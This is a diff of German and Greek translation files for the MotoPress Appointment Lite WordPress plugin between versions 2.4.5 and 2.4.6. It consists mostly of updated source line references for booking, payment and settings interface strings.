+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr "Frei"
@@ -3433,33 +3423,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr "Sie können hier eine neue Logmeldung hinzufügen und auf Aktualisieren klicken, um sie zu speichern"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr "Gutschein"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr "Reservierte Dienste"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Zahlungsdetails"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr "Preis der Buchung"
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Buchung #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -4035,38 +4025,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr "Zahlen Sie mit Ihrer Kreditkarte über Stripe. Testen Sie die Zahlung, verwenden Sie die Kartennummer 4242424242424242 mit der Prüfziffer CVC 123, ein gültiges Ablaufdatum und eine zufällige 5-stellige Postleitzahl."
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr "Bankverbindung"
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr "iDEAL"
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr "Giropay"
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr "SEPA-Lastschrift"
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr "SOFORT"
 
@@ -5513,10 +5503,10 @@
 msgstr "Reservierungen bearbeiten"
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr "Eine Reservierung vornehmen... "
 
@@ -6229,168 +6219,168 @@
 msgstr "Dezember"
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr "Sie werden auf eine sichere Seite weitergeleitet, um Ihre Zahlung abzuschließen."
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr "Zwischensumme"
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr "Gutschein: %s"
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Gesamt"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Anzahlung"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr "Der Gutscheincode ist leer."
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr "Gutschein erfolgreich angewendet."
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr "Ihre Buchung ist leider nicht für diesen Gutschein berechtigt."
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr "Indem Sie Ihre IBAN angeben und diese Zahlung bestätigen, ermächtigen Sie (A) %s und Stripe, unseren Zahlungsdienstleister, Anweisungen an Ihre Bank zu senden, um Ihr Konto zu belasten, und (B) Ihre Bank, Ihr Konto gemäß diesen Anweisungen zu belasten. Sie haben Anspruch auf eine Rückerstattung von Ihrer Bank gemäß den Geschäftsbedingungen Ihrer Vereinbarung mit Ihrer Bank. Eine Rückerstattung muss innerhalb von 8 Wochen ab dem Datum, an dem Ihr Konto belastet wurde, beantragt werden."
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr "Kredit- oder EC-Karte"
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "oder"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr "iDEAL Bank aussuchen"
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr "IBAN"
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr "Karte"
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr "Es tut uns leid, aber wir konnten keine Termine für das ausgewählte Datum reservieren."
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr "Es tut uns leid, es gibt da keine Dienstleistungen, Mitarbeiter oder Standorte, die gebucht werden können."
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6400,19 +6390,19 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr "Termin"
 
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-el.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-el.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-el.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-el.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-el.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-el.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr "Βοήθεια"
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Οι ρυθμίσεις αποθηκεύτηκαν."
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Αποθήκευση Αλλαγών"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Ρυθμίσεις"
 
@@ -237,27 +227,27 @@
 msgid "Filtered bookings for customer"
 msgstr "Φιλτραρισμένες κρατήσεις για τον πελάτη"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Εξαγωγή"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -276,18 +266,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "Αναγνωριστικό ID"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Υπηρεσίες"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Υπηρεσία"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -337,13 +327,13 @@
 msgid "Date"
 msgstr "Ημερομηνία"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "Ώρα"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -356,12 +346,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr "Υπάλληλοι"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -391,7 +381,7 @@
 msgid "Employee"
 msgstr "Υπάλληλος"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -403,11 +393,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Τιμή"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -417,7 +407,7 @@
 msgid "Status"
 msgstr "Κατάσταση"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -427,7 +417,7 @@
 msgstr "Πελάτης"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Πληρώθηκε: %s"
@@ -473,10 +463,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr ""
 
@@ -845,7 +835,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1232,7 +1222,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr "Φόρμα Ραντεβού"
 
@@ -1480,7 +1470,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1494,7 +1484,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr "Slugs ή ID χωρισμένα με κόμμα που θα εμφανιστούν."
 
@@ -1571,7 +1561,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr "Πρόσθετες Πληροφορίες Εργαζομένων"
 
@@ -1592,49 +1582,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr "Αναρτήστε το ID ενός υπαλλήλου για προβολή περιεχομένου. Σημείωση: αυτή η παράμετρος χρησιμοποιεί αυτόματα το τρέχον αναγνωριστικό δημοσίευσης όταν ένα shortcode βρίσκεται μέσα στη θέση του εργαζομένου και απαιτείται διαφορετικά."
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr "Στοιχεία Επικοινωνίας Εργαζομένου"
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
